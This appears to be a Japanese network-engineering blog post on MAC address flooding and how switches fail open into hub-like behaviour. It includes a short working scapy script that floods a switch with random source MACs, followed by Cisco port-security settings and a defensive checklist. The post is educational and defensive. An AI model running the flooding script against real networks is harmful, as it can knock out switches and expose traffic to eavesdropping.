「スイッチがハブに変わる瞬間」――MACアドレスフラッディングの恐怖と防御のリアル
現場でネットワークエンジニアをしていると、たまに「ネットワークが急に重くなった」「原因不明のパケットロスが起きている」という悲鳴のような相談を受ける。パケットキャプチャを回し、スイッチの統計情報を追いかけていくと、時折ゾッとする光景に出くわすことがある。MACアドレステーブルが飽和し、スイッチが「インテリジェントな転送機」から「ただの電気を分配するだけの愚鈍なハブ」へと成り下がっている瞬間だ。
今回は、レイヤー2の盲点とも言える「MACアドレスフラッディング」について、実務的な観点から深掘りしていこう。
—
1. なぜスイッチは「ハブ」に成り下がるのか
レイヤー2スイッチの心臓部は、MACアドレステーブル（CAMテーブル）だ。どのポートにどのMACアドレスのデバイスがいるかを学習し、フレームを適切な宛先へ送る。これがスイッチの「賢さ」の源泉だ。
しかし、このテーブルには物理的な限界がある。攻撃者は、存在しないソースMACアドレスをランダムに生成し、大量のパケットをスイッチに送りつける。スイッチは律儀に「おっ、新しいデバイスが接続されたな」と解釈し、限られたメモリ領域であるCAMテーブルをゴミデータで埋め尽くす。
テーブルが溢れると何が起きるか？ スイッチは転送先が不明なフレームをどう処理するかの方針を迫られる。多くのスイッチは、「とりあえず繋がっている全ポートに配るしかない」というフェイルオープンを選択する。つまり、ネットワーク全体がブロードキャストドメインとなり、盗聴や中間者攻撃（MitM）の温床が完成するわけだ。
—
2. 攻撃の実行と挙動のシミュレーション
ここでは、Pythonの scapy ライブラリを使用して、この悪名高い攻撃をシミュレートする概念コードを紹介する。もちろん、自身の検証環境以外で試してはいけない。
from scapy.all import Ether, IP, sendp
import random
# ランダムなMACアドレスを生成してパケットを送り続ける関数
def flood_mac_table(interface="eth0"):
print(f"[*] {interface} インターフェースで攻撃を開始します...")
while True:
# ランダムな送信元MACアドレスを生成
fake_src_mac = ":".join(["%02x" % random.randint(0, 255) for _ in range(6)])
# ターゲット（架空の宛先）へのパケットを作成
pkt = Ether(src=fake_src_mac, dst="ff:ff:ff:ff:ff:ff") / IP(dst="192.168.1.255")
# パケットを送信
sendp(pkt, iface=interface, verbose=False)
# 実行時、スイッチのCPU負荷とCAMテーブルの使用率を監視すること
# flood_mac_table("eth0")このコードを数秒回すだけで、安価なスイッチであればCAMテーブルは即座に枯渇する。開発環境や検証環境のスイッチがどれほどの耐性を持っているか、一度確認しておくのもインフラ屋の嗜みだ。
—
3. 実践的な防御策と設定のポイント
「スイッチがハブ化する」のを防ぐための唯一にして最強の手段は、Port Security の実装だ。ポートごとに学習できるMACアドレスの数を制限し、違反があった場合にポートを即座にシャットダウンさせる。
Cisco Catalyst等のスイッチにおける設定例を挙げる。
! インターフェース単位でセキュリティを強化する
interface GigabitEthernet0/1
switchport mode access
switchport port-security ! ポートセキュリティ有効化
switchport port-security maximum 2 ! 学習するMACアドレスを最大2つに制限
switchport port-security violation shutdown ! 違反時はポートを停止（エラーディセーブル）
switchport port-security mac-address sticky ! 現在のMACを動的に保持運用上の注意点
shutdownの恐怖: 悪意のないデバイス追加（例えばIP電話の差し替え）でもポートが落ちる可能性がある。運用現場ではshutdownではなくrestrictを選び、SNMPトラップを飛ばして監視センターに通知を上げるのが現実的だ。- 802.1X認証の導入: 個別設定が困難な大規模環境では、RADIUSサーバーを用いた802.1X認証が必須となる。ポートに挿せば繋がる時代は終わったと考えるべきだ。
—
4. Web API設計やインフラ担当者に伝えたいこと
「ネットワークのことはインフラ担当に任せているから関係ない」と思っているWebエンジニアこそ要注意だ。
もしあなたのAPIが、社内LANの物理的なセキュリティが甘い環境で動いているなら、攻撃者はネットワークレベルであなたのトラフィックを傍受（スニフィング）できる可能性がある。TLSで暗号化していれば安心……とは言うが、信頼できないネットワーク環境では、証明書の検証やHSTSの設定など、レイヤー7での防御がより一層重要になる。
チェックリスト:
1. スイッチの監視: show mac address-table count 等で、CAMテーブルの利用率を定期的に取得できているか？
2. ポートの死活監視: 未使用ポートは物理的に閉塞しているか、shutdown されているか？
3. 境界防御の意識: ネットワークは「物理的に接続されていれば信用できる」という前提を捨て、ゼロトラストの思想で設計を再考せよ。
ネットワークは生き物だ。パケットがスイッチを通り抜けるとき、その裏で何が起きているのか。その「リアルな挙動」を想像できる力こそが、現場でトラブルを跳ね除けるエンジニアの武器になる。
今日の学びが、あなたのインフラをより強固なものにすることを願っている。次回は、このMACフラッディングを検知した際、ログからどのように犯人を特定し、パケットキャプチャで証拠を掴むか……その泥臭いデバッグ手法について話そう。
コメント